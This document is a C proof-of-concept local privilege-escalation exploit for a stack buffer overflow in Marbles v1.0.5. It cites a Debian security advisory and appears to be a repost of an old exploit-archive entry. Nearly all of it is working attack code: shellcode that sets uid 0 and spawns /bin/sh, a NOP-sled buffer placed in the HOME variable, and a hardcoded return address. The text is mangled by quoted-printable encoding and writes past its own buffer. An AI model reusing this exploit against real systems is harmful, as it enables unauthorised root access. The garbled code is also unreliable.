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Marbles v1.0.5 local PoC exploit. /* c-marbles.c=0A= *=0A= * PoC exploit made for advisory based uppon an local stack based = overflow.=0A= * Vulnerable versions, maybe also prior versions:=0A= *=0A= * Marbles v1.0.5=0A= *=0A= * Tested on: Redhat 9.0=0A= *=0A= * Advisory source: Steve Kemp=0A= * http://www.debian.org/security/2003/dsa-390=0A= *=0A= * ---------------------------------------------=0A= * coded by: demz (c-code.net) (demz@c-code.net)=0A= * ---------------------------------------------=0A= *=0A= */=0A= =0A= #include <stdio.h>=0A= #include <stdlib.h>=0A= =0A= char shellcode[]=3D=0A= =0A= "\x31\xc0" // xor eax, eax=0A= "\x31\xdb" // xor ebx, ebx=0A= "\x31\xc9" // xor ecx, ecx=0A= "\xb0\x46" // mov al, 70=0A= "\xcd\x80" // int 0x80=0A= =0A= "\x31\xc0" // xor eax, eax=0A= "\x50" // push eax=0A= "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e=0A= "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f=0A= "\x89\xe3" // mov ebx, esp=0A= "\x50" // push eax=0A= "\x53" // push ebx=0A= "\x89\xe1" // mov ecx, esp=0A= "\x99" // cdq=0A= "\xb0\x0b" // mov al, 11=0A= "\xcd\x80" // int 0x80=0A= =0A= "\x31\xc0" // xor eax, eax=0A= "\xb0\x01" // mov al, 1=0A= "\xcd\x80"; // int 0x80=0A= =0A= int main()=0A= {=0A= unsigned long ret =3D 0xbffff70c;=0A= =0A= char buffer[3988];=0A= int i=3D0;=0A= =0A= memset(buffer, 0x90, sizeof(buffer));=0A= =0A= for (0; i < strlen(shellcode) - 1;i++)=0A= buffer[2000 + i] =3D shellcode[i];=0A= =0A= buffer[3988] =3D (ret & 0x000000ff);=0A= buffer[3989] =3D (ret & 0x0000ff00) >> 8;=0A= buffer[3990] =3D (ret & 0x00ff0000) >> 16;=0A= buffer[3991] =3D (ret & 0xff000000) >> 24;=0A= buffer[3992] =3D 0x0;=0A= =0A= printf("\nMarbles v1.0.5 local exploit\n");=0A= printf("---------------------------------------- demz @ = c-code.net --\n");=0A= =0A= setenv("HOME", buffer, 1);=0A= =0A= execl("/usr/local/bin/marbles", "marbles", NULL);=0A= }=0A= =0A=